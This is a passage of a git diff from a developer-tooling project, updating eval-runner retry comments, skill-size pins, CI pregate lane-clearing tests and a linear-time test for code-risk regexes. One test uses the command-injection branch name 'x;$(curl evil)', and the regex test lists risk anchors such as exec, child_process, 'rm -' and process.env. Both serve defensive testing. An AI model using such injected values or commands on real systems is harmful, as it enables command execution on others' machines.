" if (!(e instanceof CompatHttpError && e.retryable) || compatMayHaveBilled(e) || attempt === ATTEMPTS - 1) break;"
]
},
"removed": {
"eval/runner/cat40/loop.ts": [
"/** A provider's non-2xx answer, after backoff for retryable statuses. */",
" * Particle runs only: the run ended on a turn that timed out, or lost its connection after it went out",
" * (`compatMayHaveBilled`). Particle may have billed that turn, so a caller never runs the question again.",
" * recorded, and a 2xx that is not JSON or has no `choices[0].message` is retried as a server error. A `compat` request",
" * is sent with `compatDeadlineMs` instead of Bun's 300-second fetch timeout, and a 504 (a gateway's or the lease",
" last = new ProviderError(502, `${compat} answered ${res.status} ${parsed ? 'without choices[0].message' : 'with a body that is not JSON'}: ${text.slice(0, 300)}`);",
" onAttempt?.({ status: 'error', response: json, error: last.message, ms: Date.now() - t, retry_after_ms: null });",
" if (attempt < 5) await new Promise(r => setTimeout(r, Math.min(60_000, 2000 * 2 ** attempt) + Math.random() * 1000));",
" continue;"
],
"eval/runner/harness-metering-proxy.ts": [
"import { carriesKeyInCleartext, COMPAT_PROVIDERS } from './providers/openai-compatible.ts';",
" const message = `metering proxy could not reach ${provider}: ${(error as Error).message}`;",
" return finish(errorResponse(502, 'mpw_proxy_upstream_unreachable', message), { ...settle(null, 0, message), error: message });",
" return finish(errorResponse(502, 'mpw_proxy_upstream_unreachable', message), { ...settle(null, upstream.status, message), error: message });"
],
"eval/runner/providers/openai-compatible.ts": [
"/** A non-2xx answer that is not a budget stop. */",
" * A request the provider may have billed: it timed out (`compatTimedOut`) or its connection was lost after it went out",
" * (`compatConnectionLost`). A caller never sends it again, with or without a metering proxy in front.",
" return compatTimedOut(e) || compatConnectionLost(e);",
" * decides any retry. A 2xx answer without `choices[0].message` is a server error carrying the usage it reported,",
" * never an empty answer. `timeoutMs` (300 s unless given) is the only deadline: Bun's own 300-second fetch timeout is",
" * off, so a longer deadline holds.",
" catch { throw new CompatHttpError({ provider: req.provider, status: res.status, kind: 'server', retryable: true, retryAfterMs: null, body: `response body is not JSON: ${text.slice(0, 200)}` }); }",
" if (!Array.isArray(choices) || !choices[0]?.message) throw new CompatHttpError({ provider: req.provider, status: res.status, kind: 'server', retryable: true, retryAfterMs: null, body: `response has no choices[0].message: ${text.slice(0, 200)}` }, parsed.usage);"
],
"eval/runner/q1/cell.ts": [
" /** `final`: a try that must not be sent again (an OpenAI-compatible request that timed out or lost its connection, which the provider may have billed). */"
],
"eval/runner/systems/baselines.ts": [
" /** The last request timed out or lost its connection after it went out; Particle may have billed it, so the cell never sends it again. */",
" * (`compatDeadlineMs`), and one that times out or loses its connection after it",
" * went out (`compatMayHaveBilled`) is a `reader_error` that is never sent again, because Particle may have billed it. Each attempt is recorded, the failed ones with null response"
],
"eval/workload-suites/bench-infra.ts": [
"import { COMPAT_PROVIDERS, CompatHttpError, ParticleCreditExhausted, compatRequest, compatSend, type CompatRequest, type CompatResponse } from '../runner/providers/openai-compatible.ts';",
" * not Bun's 300-second fetch timeout, and a request that times out is never sent again.",
" const timedOut = error.name === 'TimeoutError' || error.name === 'AbortError';",
" const retry = http ? http.retryable && attempt < 5 : !budget && !timedOut && attempt < 4;"
],
"scripts/particle-canary.ts": [
"import { CompatHttpError, assertMetered, compatBaseUrl, compatRequest, compatSend, isLoopbackUrl, type CanarySampling, type CompatLogprob, type CompatRequest } from '../eval/runner/providers/openai-compatible.ts';",
"/** Send the canary once per prompt (up to 3 attempts on a 429 or 5xx, honoring a capped Retry-After). A budget stop ends it after its receipt. */",
" if (!(e instanceof CompatHttpError && e.retryable) || attempt === ATTEMPTS - 1) break;"
]
}
}
+51 -51
View File
@@ -2,56 +2,56 @@
"_comment": "Generated SKILL.md files over the limit, pinned at their exact character count (#3199). test/skill-md-size-guard.test.ts fails when a pinned skill grows past its pin or shrinks below it: lower the pin when a skill shrinks and delete it once the skill is within the limit. Raising a pin is an owner decision. The shared-preamble hoist (GSTA-96) moved every tier 2+ skill's shared preamble into sections/preamble.md; the pins below are what remains.",
"limit": 100000,
"pins": {
"agy/gstack-autoplan": 109666,
"agy/gstack-plan-design-review": 109116,
"agy/gstack-plan-devex-review": 114957,
"agy/gstack-plan-eng-review": 143590,
"agy/gstack-review": 104276,
"codex/gstack-autoplan": 108409,
"codex/gstack-plan-design-review": 110473,
"codex/gstack-plan-devex-review": 116465,
"codex/gstack-plan-eng-review": 144755,
"codex/gstack-review": 103799,
"copilot/gstack-autoplan": 109109,
"copilot/gstack-plan-design-review": 109382,
"copilot/gstack-plan-devex-review": 114419,
"copilot/gstack-plan-eng-review": 143755,
"copilot/gstack-review": 103857,
"cursor/gstack-autoplan": 108341,
"cursor/gstack-plan-design-review": 107924,
"cursor/gstack-plan-devex-review": 113689,
"cursor/gstack-plan-eng-review": 142345,
"cursor/gstack-review": 122147,
"factory/gstack-autoplan": 110619,
"factory/gstack-plan-design-review": 111022,
"factory/gstack-plan-devex-review": 117052,
"factory/gstack-plan-eng-review": 145453,
"factory/gstack-review": 125920,
"gbrain/gstack-autoplan": 108748,
"gbrain/gstack-plan-eng-review": 124972,
"gemini/gstack-autoplan": 108899,
"gemini/gstack-plan-design-review": 109210,
"gemini/gstack-plan-devex-review": 114247,
"gemini/gstack-plan-eng-review": 143588,
"gemini/gstack-review": 103679,
"hermes/gstack-autoplan": 108751,
"hermes/gstack-plan-eng-review": 125008,
"kiro/gstack-autoplan": 108115,
"kiro/gstack-plan-design-review": 107770,
"kiro/gstack-plan-devex-review": 113541,
"kiro/gstack-plan-eng-review": 142207,
"kiro/gstack-review": 121971,
"openclaw/gstack-autoplan": 108571,
"openclaw/gstack-plan-eng-review": 123487,
"opencode/gstack-autoplan": 109090,
"opencode/gstack-plan-design-review": 109238,
"opencode/gstack-plan-devex-review": 114297,
"opencode/gstack-plan-eng-review": 143614,
"opencode/gstack-review": 122769,
"slate/gstack-autoplan": 108228,
"slate/gstack-plan-design-review": 107847,
"slate/gstack-plan-devex-review": 113615,
"slate/gstack-plan-eng-review": 142276,
"slate/gstack-review": 122059
"agy/gstack-autoplan": 109657,
"agy/gstack-plan-design-review": 109107,
"agy/gstack-plan-devex-review": 114948,
"agy/gstack-plan-eng-review": 143581,
"agy/gstack-review": 104267,
"codex/gstack-autoplan": 108400,
"codex/gstack-plan-design-review": 110464,
"codex/gstack-plan-devex-review": 116456,
"codex/gstack-plan-eng-review": 144746,
"codex/gstack-review": 103790,
"copilot/gstack-autoplan": 109100,
"copilot/gstack-plan-design-review": 109373,
"copilot/gstack-plan-devex-review": 114410,
"copilot/gstack-plan-eng-review": 143746,
"copilot/gstack-review": 103848,
"cursor/gstack-autoplan": 108332,
"cursor/gstack-plan-design-review": 107915,
"cursor/gstack-plan-devex-review": 113680,
"cursor/gstack-plan-eng-review": 142336,
"cursor/gstack-review": 122138,
"factory/gstack-autoplan": 110610,
"factory/gstack-plan-design-review": 111013,
"factory/gstack-plan-devex-review": 117043,
"factory/gstack-plan-eng-review": 145444,
"factory/gstack-review": 125911,
"gbrain/gstack-autoplan": 108739,
"gbrain/gstack-plan-eng-review": 124963,
"gemini/gstack-autoplan": 108890,
"gemini/gstack-plan-design-review": 109201,
"gemini/gstack-plan-devex-review": 114238,
"gemini/gstack-plan-eng-review": 143579,
"gemini/gstack-review": 103670,
"hermes/gstack-autoplan": 108742,
"hermes/gstack-plan-eng-review": 124999,
"kiro/gstack-autoplan": 108106,
"kiro/gstack-plan-design-review": 107761,
"kiro/gstack-plan-devex-review": 113532,
"kiro/gstack-plan-eng-review": 142198,
"kiro/gstack-review": 121962,
"openclaw/gstack-autoplan": 108562,
"openclaw/gstack-plan-eng-review": 123478,
"opencode/gstack-autoplan": 109081,
"opencode/gstack-plan-design-review": 109229,
"opencode/gstack-plan-devex-review": 114288,
"opencode/gstack-plan-eng-review": 143605,
"opencode/gstack-review": 122760,
"slate/gstack-autoplan": 108219,
"slate/gstack-plan-design-review": 107838,
"slate/gstack-plan-devex-review": 113606,
"slate/gstack-plan-eng-review": 142267,
"slate/gstack-review": 122050
}
}
+5 -3
View File
@@ -3125,9 +3125,11 @@ describe('Codex generation (--host codex)', () => {
expect(content).toContain('_r=$(git rev-parse --show-toplevel 2>/dev/null)/.agents/skills/gstack');
expect(content).toContain('_r=${CODEX_HOME:-~/.codex}/skills/gstack');
// Phase 1/2: config reads moved into gstack-skill-start — the fence itself
// is the bin asset the preamble must resolve through $GSTACK_BIN, and the
// question-preference runtime call still resolves the same way.
expect(content).toContain('$GSTACK_BIN/gstack-skill-start');
// is the bin asset the preamble resolves through the same roots, as plain
// lines (GST-882), and the question-preference runtime call resolves
// through $GSTACK_BIN.
expect(content).toContain('[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=${CODEX_HOME:-~/.codex}/skills/gstack');
expect(content).toContain('"$GSTACK_ROOT/bin/gstack-skill-start"');
expect(content).toContain('$GSTACK_BIN/gstack-question-preference');
// The upgrade-skill doc reference moved into the script's upgrade-flow
// block, resolved $0-relative ($_ROOT_DIR) — host-neutral by construction,
+1 -1
View File
@@ -562,7 +562,7 @@ describe('ready on a PR that conflicts with the base (CHANGELOG-only conflicts,
const { r, at } = readyWith('CONFLICTING', { check_runs: [] });
expect(r.status).toBe(EXIT.refused);
expect(line(r.out, 'ci: ')).toBe(`ci: none at ${at} (passed=0 failed=0 pending=0 skipped=0)`);
expect(line(r.out, 'ci-hint: ')).toBe(`ci-hint: PR conflicts with the base (no merge ref, so pull_request CI did not run on ${at}); dispatch the free workflows on the branch (gh workflow run free-tests.yml --ref pr-a && gh workflow run windows-smoke.yml --ref pr-a), clear the pregate lanes with their run URLs (gstack-pregate clear --remote <lane> --run-url <run>), then rerun ready (advisory)`);
expect(line(r.out, 'ci-hint: ')).toBe(`ci-hint: PR conflicts with the base (no merge ref, so pull_request CI did not run on ${at}); dispatch the free workflows on the branch (gh workflow run free-tests.yml --ref pr-a && gh workflow run windows-smoke.yml --ref pr-a), clear each lane pregate names with a run of that lane's own workflow (gstack-pregate clear --remote <workflow.yml/job> --run-url <that workflow's run>; a run of another workflow is refused), then rerun ready (advisory)`);
for (const name of ['x;$(curl evil)', '--field']) {
const odd = readyWith('CONFLICTING', { check_runs: [] }, { headRefName: name });
expect(line(odd.r.out, 'ci-hint: ')).toContain('gh workflow run free-tests.yml --ref <branch> && gh workflow run windows-smoke.yml --ref <branch>');
+3 -2
View File
@@ -118,7 +118,8 @@ describe('gstack-skill-start contract', () => {
// Worktree-isolated Claude Code sessions refuse a start command named by a
// variable, a `[ -x ] ||` fallback, or a trailing `|| echo` (reproduced
// with the pinned CLI). The Claude render is the literal install path;
// env-var hosts reach the script through $GSTACK_BIN. A missing helper is
// checked-in env-var host renders reach it through $GSTACK_ROOT/bin (an
// install-root render names the literal path, GST-882). A missing helper is
// covered by the degraded-mode prose, not a shell fallback.
const fence = (text: string) => {
const at = text.search(/^## Preamble \((?:run first|after scope gate)\)/m);
@@ -130,7 +131,7 @@ describe('gstack-skill-start contract', () => {
}
for (const host of ['codex', 'gbrain']) {
const lines = fence(generatePreamble({ skillName: 'ship', tmplPath: 'ship/SKILL.md.tmpl', host, paths: HOST_PATHS[host], preambleTier: 4 } as TemplateContext)).split('\n');
expect(lines.at(-1)).toMatch(/^"\$GSTACK_BIN\/gstack-skill-start" --skill "ship" --model "[^"]+"( --brain-health)?$/);
expect(lines.at(-1)).toMatch(/^"\$GSTACK_ROOT\/bin\/gstack-skill-start" --skill "ship" --model "[^"]+"( --brain-health)?$/);
expect(lines.join('\n')).not.toMatch(/_SS|\$PPID|\|\| echo|\[ -x/);
}
});
+1 -1
View File
@@ -23,7 +23,7 @@ const COPIED = [
'autoplan/SKILL.md', // its frontmatter registers the autoplan hook the hooks-row test breaks
'bin/gstack-launch-probe.sh',
'bin/gstack-doctor-check.sh', 'bin/gstack-doctor-components.sh', 'bin/gstack-runtime-pins.ts', 'lib/runtime-pins.ts',
'bin/gstack-windows-bash.ts', 'lib/script-invocation.ts', 'lib/bun-isolation.ts', 'lib/result-codes.ts', 'lib/result-codes-release.ts', 'lib/result-codes-capy.ts', 'lib/result-codes-budget.ts', 'lib/result-codes-eval.ts', 'lib/result-codes-plan.ts', // the windows bash row
'bin/gstack-windows-bash.ts', 'lib/script-invocation.ts', 'lib/bun-isolation.ts', 'lib/result-codes.ts', 'lib/result-codes-release.ts', 'lib/result-codes-capy.ts', 'lib/result-codes-budget.ts', 'lib/result-codes-eval.ts', 'lib/result-codes-plan.ts', 'lib/result-codes-autoplan.ts', // the windows bash row
];
const bases: string[] = [];
/** Registers the per-test fixture cleanup; each test file calls it at top level (a hook in this module would bind to the first importing file only). */
+1
View File
@@ -205,6 +205,7 @@ export const FREE_FIXTURES: Readonly<Record<string, readonly string[]>> = {
'test/fixtures/remote-identity-vectors.json': ['test/bin-context-windows-slug.test.ts', 'test/gstack-slug-parity.test.ts', 'test/remote-identity-vectors.test.ts'],
'test/fixtures/review-depth/**': ['test/review-dispatch-compare.test.ts'],
'test/fixtures/review-ledger/**': ['test/review-dispatch.test.ts'],
'test/fixtures/review-risk/gbrain-evals-289.json': ['test/review-risk-routing.test.ts'],
'test/fixtures/review-design-lite-reports-ci-36633323521.json': ['test/review-finalization-budget.test.ts'],
'test/fixtures/review-gate-integrity-opus-reports.json': ['test/gate-integrity-templates.test.ts'],
'test/fixtures/session-update-heartbeat.sh': ['test/session-update-heartbeat.test.ts'],
+1 -1
View File
@@ -417,7 +417,7 @@ export const E2E_TOUCHFILES: Record<string, string[]> = {
'tpa-apple-ban': [ 'scripts/resolvers/third-party-actions.ts', 'ship/SKILL.md.tmpl', 'ship/sections/apple-release.md.tmpl', 'scripts/gen-skill-docs.ts', 'test/helpers/session-runner.ts', 'test/skill-e2e-third-party-actions.test.ts', 'test/helpers/third-party-actions.ts',
'lib/eval-model.ts'
],
'ship-measure-seeded-flake': ['ship/**', 'scripts/ship-measure.ts', 'scripts/lib/measure-bar.ts', 'scripts/test-free-shards.ts', 'scripts/lib/shard-engine.ts', 'scripts/lib/paid-select.ts', 'scripts/lib/free-home-guard.ts', 'bin/gstack-config', 'bin/gstack-state-root.sh', 'lib/state-root.ts', 'scripts/resolvers/sections.ts', 'scripts/resolvers/testing.ts', 'scripts/gen-skill-docs.ts', 'test/skill-e2e-ship-measure-loop.test.ts', 'test/helpers/ship-measure-seeded-fixture.ts', 'test/helpers/agent-sdk-runner.ts', 'test/helpers/skill-fixture.ts'],
'ship-measure-seeded-flake': ['ship/**', 'scripts/ship-measure.ts', 'scripts/lib/measure-bar.ts', 'scripts/test-free-shards.ts', 'scripts/lib/shard-engine.ts', 'scripts/lib/paid-select.ts', 'scripts/lib/free-home-guard.ts', 'scripts/lib/shard-jobs.ts', 'bin/gstack-config', 'bin/gstack-state-root.sh', 'lib/state-root.ts', 'scripts/resolvers/sections.ts', 'scripts/resolvers/testing.ts', 'scripts/gen-skill-docs.ts', 'test/skill-e2e-ship-measure-loop.test.ts', 'test/helpers/ship-measure-seeded-fixture.ts', 'test/helpers/agent-sdk-runner.ts', 'test/helpers/skill-fixture.ts'],
'ship-section-loading': [ 'ship/**', 'scripts/resolvers/sections.ts', 'scripts/gen-skill-docs.ts', 'test/helpers/auq-sdk-capture.ts', 'test/helpers/session-runner.ts', 'test/skill-e2e-ship-section-loading.test.ts',
'scripts/resolvers/testing.ts', 'test/helpers/agent-sdk-runner.ts', 'test/helpers/auq-native-capture.ts', 'test/helpers/auto-decision-state.ts', 'test/helpers/autoplan-artifact-digest.ts', 'test/helpers/autoplan-artifact-permission.ts', 'test/helpers/autoplan-artifact-recorder.ts', 'test/helpers/claude-pty-runner.ts', 'test/helpers/pty/**', 'test/helpers/dx-selected-navigation.ts', 'test/helpers/e2e-gate.ts', 'test/helpers/eng-cache-writer-decision.ts', 'test/helpers/hermetic-skill-runtime.ts', 'test/helpers/llm-judge.ts', 'test/helpers/native-auto-decide.ts', 'test/helpers/owned-claude-transcript.ts', 'test/helpers/plan-count-artifacts.ts', 'test/helpers/plan-count-file-permission.ts', 'test/helpers/plan-count-fixture.ts', 'test/helpers/plan-count-pending-exit.ts', 'test/helpers/plan-count-pending-question.ts', 'test/helpers/plan-count-transcript.ts', 'test/helpers/plan-floor-review.ts', 'test/helpers/plan-floor-target.ts', 'test/helpers/plan-scope-selection.ts', 'test/helpers/plan-seed-submission.ts', 'test/helpers/plan-skill-question-events.ts', 'test/helpers/plan-skill-question-hook-scope.ts', 'test/helpers/plan-skill-questions.ts', 'test/helpers/pty-screen.ts', 'test/helpers/pty-trust-dialog.ts', 'test/helpers/skill-census.ts'],
'plan-ceo-section-loading': [ 'ETHOS.md',
+1 -1
View File
@@ -70,7 +70,7 @@ function scaffoldFixture(workDir: string): { workDir: string; stateRoot: string;
// These imports are resolved relative to the copied install, not the source checkout.
const libDir = path.join(workDir, 'lib');
fs.mkdirSync(libDir, { recursive: true });
for (const file of ['jsonl-store.ts', 'is-conductor.ts', 'state-root.ts', 'bin-context.ts', 'remote-identity.ts', 'script-invocation.ts', 'bun-isolation.ts', 'result-codes.ts', 'result-codes-release.ts', 'result-codes-capy.ts', 'result-codes-budget.ts', 'result-codes-eval.ts', 'result-codes-plan.ts']) {
for (const file of ['jsonl-store.ts', 'is-conductor.ts', 'state-root.ts', 'bin-context.ts', 'remote-identity.ts', 'script-invocation.ts', 'bun-isolation.ts', 'result-codes.ts', 'result-codes-release.ts', 'result-codes-capy.ts', 'result-codes-budget.ts', 'result-codes-eval.ts', 'result-codes-plan.ts', 'result-codes-autoplan.ts']) {
fs.copyFileSync(path.join(ROOT, 'lib', file), path.join(libDir, file));
}
+47 -1
View File
@@ -8,6 +8,7 @@ import * as fs from 'node:fs';
import * as path from 'node:path';
import { EXIT, type PregateFile } from '../lib/headless-artifacts';
import { buildContext } from '../lib/pregate/context';
import { discoverLanes } from '../lib/pregate/workflows';
import { clearDecision, clearObligation, runPregate, verifyPregate, type RunCheck } from '../lib/pregate/index';
import type { ApiRun, RunDeps, RunProfile } from '../lib/run-evidence';
import { BASE_PREGATE, cleanup, commit, makeFixtureRepo, readFile, runBin, type FixtureRepo } from './helpers/pregate-fixture';
@@ -72,6 +73,16 @@ function check(repo: FixtureRepo, runs: FakeRun[], over: Partial<RunCheck> = {})
return { repo: 'fx/fx', deps, profiles: PROFILES, gateRuns: GATE_RUNS, now: NOW, inventory: () => ['test/a.test.ts', 'test/b.test.ts'], ...over };
}
/** A check whose only readable run is 300, a successful run of `workflow` on `head`. */
function runOfWorkflow(repo: FixtureRepo, head: string, workflow: string): RunCheck {
const c = check(repo, []);
const run = (id: number): ApiRun => {
if (id !== 300) throw new Error('HTTP 404');
return { id, run_attempt: 1, status: 'completed', conclusion: 'success', event: 'pull_request', head_sha: head, path: `.github/workflows/${workflow}`, repository: { full_name: 'fx/fx' }, head_repository: { full_name: 'fx/fx' } };
};
return { ...c, deps: { ...c.deps, run } };
}
describe.skipIf(process.platform === 'win32')('clear --run: Actions runs as remote gate evidence', () => {
test('one verified run per profile on the identical tree clears the gate, and verify accepts the receipt offline', async () => {
const repo = fixture();
@@ -157,7 +168,7 @@ describe.skipIf(process.platform === 'win32')('clear --run: Actions runs as remo
expect(profiled.receipt).toStartWith(`run tree=${file.tree.slice(0, 12)} tests=5 runs=200/1 profiles=${PLATFORM} `);
const failed = clearDecision(file, PLATFORM, { runUrl: url, evidence: check(repo, [{ id: 200, profile: 'test', head, files: ['test/a.test.ts'], conclusion: 'failure' }], { profiles: { ...PROFILES, [PLATFORM]: PROFILES.test! } }) }, repo.work);
expect('refused' in failed && failed.refused).toBe('PREGATE_RECEIPT_INVALID');
expect(clearDecision(file, PLATFORM, { runUrl: url, evidence: check(repo, []) }, repo.work)).toEqual({ receipt: url, attested: false });
expect(clearDecision(file, PLATFORM, { runUrl: url, evidence: check(repo, [{ id: 200, profile: 'test', head, files: ['test/a.test.ts'] }]) }, repo.work)).toEqual({ receipt: url, attested: false });
const bundled = clearDecision(file, PLATFORM, { bundleLane: 'macos', evidence: check(repo, [], { profiles: { ...PROFILES, [PLATFORM]: PROFILES.test! } }) }, repo.work);
expect('refused' in bundled && `${bundled.refused}: ${bundled.message}`).toBe(`usage: ${PLATFORM} has a run profile on the base branch; clear it with --run <id|url>, which verifies the run`);
expect(clearDecision(file, PLATFORM, { bundleLane: 'macos', evidence: check(repo, []) }, repo.work)).toEqual({ receipt: 'bundle-lane:macos', attested: false });
@@ -179,6 +190,41 @@ describe.skipIf(process.platform === 'win32')('clear --run: Actions runs as remo
expect([viaRun.status, viaRun.err]).toEqual([EXIT.fail, expect.stringContaining('origin is not a github.com repository')]);
}, 120_000);
test('a lane with no profile refuses a --run-url run of another workflow, or one that cannot be read, and still clears from a run of its own workflow (GSTA-203)', async () => {
const repo = fixture();
const head = repo.git('rev-parse', 'HEAD');
const base = await pregateAt(repo);
const PLATFORM = 'a.yml/job';
const file: PregateFile = { ...base, requires_remote: [...base.requires_remote!, { lane: PLATFORM, platform: 'windows', workflow: 'a.yml', job: 'job', tests: ['test/a.test.ts'], receipt: null }] };
const url = 'https://github.com/fx/fx/actions/runs/300';
const msg = (d: ReturnType<typeof clearDecision>) => ('refused' in d ? `${d.refused}: ${d.message}; fix: ${d.fix}` : `cleared ${d.receipt}`);
expect(msg(clearDecision(file, PLATFORM, { runUrl: url, evidence: runOfWorkflow(repo, head, 'b.yml') }, repo.work))).toBe(`PREGATE_RECEIPT_INVALID: REUSE: refused reason=workflow_mismatch — run 300 attempt 1 ran .github/workflows/b.yml, not .github/workflows/a.yml; ${PLATFORM} stays uncleared; fix: clear ${PLATFORM} with a run of its own workflow: gh workflow run a.yml --ref <branch>, then gstack-pregate clear --remote ${PLATFORM} --run-url <that run's URL>`);
expect(clearDecision(file, PLATFORM, { runUrl: url, evidence: runOfWorkflow(repo, head, 'a.yml') }, repo.work)).toEqual({ receipt: url, attested: false });
for (const copied of [`${url}/job/9?pr=3806`, `${url}/job/9#step:3:1`]) expect(clearDecision(file, PLATFORM, { runUrl: copied, evidence: runOfWorkflow(repo, head, 'a.yml') }, repo.work)).toEqual({ receipt: copied, attested: false });
expect(msg(clearDecision(file, PLATFORM, { runUrl: 'https://github.com/fx/fx/actions/runs/301', evidence: runOfWorkflow(repo, head, 'a.yml') }, repo.work))).toBe(`PREGATE_RECEIPT_INVALID: REUSE: refused reason=api_error — reading run 301 failed: HTTP 404; ${PLATFORM} stays uncleared; fix: check gh auth status and that gh can read fx/fx's Actions runs, then rerun the same clear`);
expect(msg(clearDecision(file, PLATFORM, { runUrl: 'https://ci.example.com/runs/300', evidence: runOfWorkflow(repo, head, 'a.yml') }, repo.work))).toBe(`PREGATE_RECEIPT_INVALID: REUSE: refused reason=run_ref_invalid — "https://ci.example.com/runs/300" is not a run id or a run URL on fx/fx; ${PLATFORM} stays uncleared; fix: pass the run's numeric id or https://github.com/fx/fx/actions/runs/<id>`);
expect(clearDecision(file, PLATFORM, { runUrl: url }, repo.work)).toEqual({ receipt: url, attested: false });
}, 120_000);
test('on this repository\'s own workflows the Windows obligation is windows-smoke.yml/windows-smoke: a windows-smoke.yml run clears it, a run of any other workflow is refused (GSTA-203)', async () => {
const lanes = discoverLanes(path.resolve(import.meta.dir, '..'), 'linux');
const owed = lanes.filter(l => l.tier === 'platform' && l.platform === 'windows' && l.runsTests && !l.manual);
const smoke = owed.find(l => l.workflow === 'windows-smoke.yml');
expect(smoke?.id).toBe('windows-smoke.yml/windows-smoke');
expect(owed.filter(l => l.workflow === 'windows-free-tests.yml').map(l => l.id)).toEqual([]);
expect(lanes.find(l => l.id === 'windows-free-tests.yml/windows-free-shard')).toMatchObject({ manual: true });
const repo = fixture();
const head = repo.git('rev-parse', 'HEAD');
const base = await pregateAt(repo);
const file: PregateFile = { ...base, requires_remote: [...base.requires_remote!, { lane: smoke!.id, platform: 'windows', workflow: smoke!.workflow, job: smoke!.job, tests: smoke!.testFiles, receipt: null }] };
const url = 'https://github.com/fx/fx/actions/runs/300';
expect(clearDecision(file, smoke!.id, { runUrl: url, evidence: runOfWorkflow(repo, head, 'windows-smoke.yml') }, repo.work)).toEqual({ receipt: url, attested: false });
for (const other of ['windows-free-tests.yml', 'free-tests.yml']) {
const d = clearDecision(file, smoke!.id, { runUrl: url, evidence: runOfWorkflow(repo, head, other) }, repo.work);
expect('refused' in d && `${d.refused}: ${d.message}`).toBe(`PREGATE_RECEIPT_INVALID: REUSE: refused reason=workflow_mismatch — run 300 attempt 1 ran .github/workflows/${other}, not .github/workflows/windows-smoke.yml; windows-smoke.yml/windows-smoke stays uncleared`);
}
}, 120_000);
test('a lane the base profiles never falls back to an unverified record when the GitHub origin cannot be read', async () => {
const repo = fixture({ run_profiles: PROFILES, remote_gate_runs: GATE_RUNS });
const file = await pregateAt(repo);
+3 -2
View File
@@ -56,6 +56,7 @@ const NO_LOSS_REPLAYS = {
'G1': "GSTA-167 variant G Arm G1: live no-loss replay of both prose voices with part 1's prompts, 2 passes, normalizer v2, paired rule against pooled C' (parts 1 and 3; specialists at medium as in C and C2)",
'L': "GSTA-167 variant G Arm L: live no-loss replay of one batched reader (testing and security plus scoped checklists) and the Red Team on its findings, 2 passes, scored L∘G1 against G1 on the paired rule (part 2)",
'GST-257': "GST-257 PR 1 dispatch-superset no-loss check (test/review-targeted.test.ts): on every fixture diff the branch dispatches main's reviewers at 8be7f21 unchanged plus only the targeted reader, and over the last 100 non-release commits on main it lost none; adds the targeted role and brief to the G1 and L bytes, whose existing reviewer text is unchanged",
'GST-850': "GST-850 dispatch-superset no-loss check: on the 26 GSTA-167 no-loss units the branch plan (wider security and money classes, write-up text in the batched diff) drops no reviewer role main dispatches, so no saved blocker can be lost, and over the last 100 main commits no commit with a gate or risk class drops depth (test/review-risk-routing.test.ts, test/review-risk-linear.test.ts); reviewer text is unchanged",
'R51': "R51 risk-tier routing no-loss re-score (GSTA-167): the saved panel findings (349 records over 24 of the 26 no-loss units) re-scored against the branch's plan lose no blocker whose only finders are roles it drops, and every gate, security, user-data and money fixture keeps main's reviewers plus the full panel (test/review-targeted.test.ts, test/review-risk-routing.test.ts); reviewer text is unchanged",
} as const;
type Replay = keyof typeof NO_LOSS_REPLAYS;
@@ -78,8 +79,8 @@ const REVIEWER_BRIEFS: Record<string, { sha: string; replay: Replay }> = {
'review/specialists/testing.md': { sha: 'd6cc2bef7be562387d0c0a22fefe646dff9c295f1d34d8453a6cb496584150e4', replay: '#3638' },
'review/specialists/targeted.md': { sha: '7f92a0d0a8319c3c0e076fb3b1a4689c45120b2be2c14dfc7d4cb03aafa9d6a5', replay: 'GST-257' },
'scripts/resolvers/fix-check.ts': { sha: '712bf5b0c439e96bac32f19cbe25394dabb4c94aa66600100bfde9b100e15a08', replay: '#3638' },
'lib/review-depth.ts': { sha: 'd649569a163c03476c6e0c5ea295f5d02088f96aab85fbc7d558f2ac2b27006a', replay: 'R51' },
'lib/review-risk.ts': { sha: 'dbef7475d467e17340b21a2bacb52a16a7ccb1ee66291900ed2d36dfb5cfb7f2', replay: 'R51' },
'lib/review-depth.ts': { sha: '839205a409014fb2cca6988a01aa04c98c495d8d24bd94895a86bf7794627338', replay: 'GST-850' },
'lib/review-risk.ts': { sha: '18f0330ddfda0032eb93516b0eb941fa4244e0a68b028e19c436c74609093b03', replay: 'GST-850' },
};
describe('reviewer briefs stay at their no-loss-tested bytes (GSTA-167)', () => {
+66
View File
@@ -0,0 +1,66 @@
/**
* GST-850: every risk pattern (lib/review-risk.ts) finishes in linear time on hostile input, and every new one is in
* RISK_RULES, which DEPTH_RULES folds in (docs/review-policy.md#risk-classes).
*/
import { describe, expect, test } from 'bun:test';
import { spawnSync } from 'node:child_process';
import * as fs from 'node:fs';
import * as os from 'node:os';
import * as path from 'node:path';
import { DATA_LINE, MONEY_LINE, SECRET_LINE, SECURITY_LINE, matchRisk } from '../lib/review-risk';
const ROOT = path.join(import.meta.dir, '..');
const N = 10_000;
const fast = (f: () => unknown) => { const t = performance.now(); f(); return performance.now() - t; };
const scan = (lines: string[]) => matchRisk({ codePaths: ['src/a.ts'], added: { 'src/a.ts': lines }, removed: { 'src/a.ts': lines }, scopeAuth: false });
describe('linear time on hostile input', () => {
// Value: protects=gstack-review-plan and the queue verdict never hang on a diff (the R51 resource regex did at about 50
// backslashes; GST-850 rounds 1 and 2 found quadratic import and exec-binding scans); fails_when=any risk pattern
// backtracks on a long or minified line, or on its anchor followed by a long run of the class it repeats; seam=every
// pattern in SECURITY_LINE, DATA_LINE, SECRET_LINE and MONEY_LINE (R51's rm rule is a known pre-existing issue, filed apart), and matchRisk
const L = 200_000;
const fill = (s: string) => s.repeat(Math.ceil(L / s.length));
const hostile = [' ', '(', "'", '"', 'a', '{', '\\', '..', 'import a, {', 'fetch(', 'path.join(', 'rmSync(', ' exec', 'new URL("', 'child_process', 'http.get(', 'requests.',
'tar -', 'unzip ', 'DELETE FROM ', 'delete from a ', 'process.env.', 'x_usd', 'aUsd'].map(fill).concat([' exec' + ' '.repeat(L) + '// c', 'import a, {' + 'b,'.repeat(L / 2)],
['fetch', 'globalThis.fetch', 'http.get', 'https.request', 'got', 'urlopen', 'urljoin', 'url.resolve', 'exec', 'execSync', 'cp.exec', 'proxy', 'redirect', 'maxRedirects', 'tar.extract', 'unzip', 'tar'].map(a => a + ' '.repeat(L)),
['got.', 'requests.', 'httpx.', 'tar -', 'tar x', 'rm -', 'allowed_', 'host_allow', 'node_modules/adm-'].map(a => a + 'x'.repeat(L)),
['new' + ' '.repeat(L) + 'URL(', 'new URL(' + ' '.repeat(L), 'new URL("' + 'a'.repeat(L), "'" + 'node:'.repeat(L / 5), 'path.join(' + 'a'.repeat(L), 'path.join(' + ')'.repeat(L),
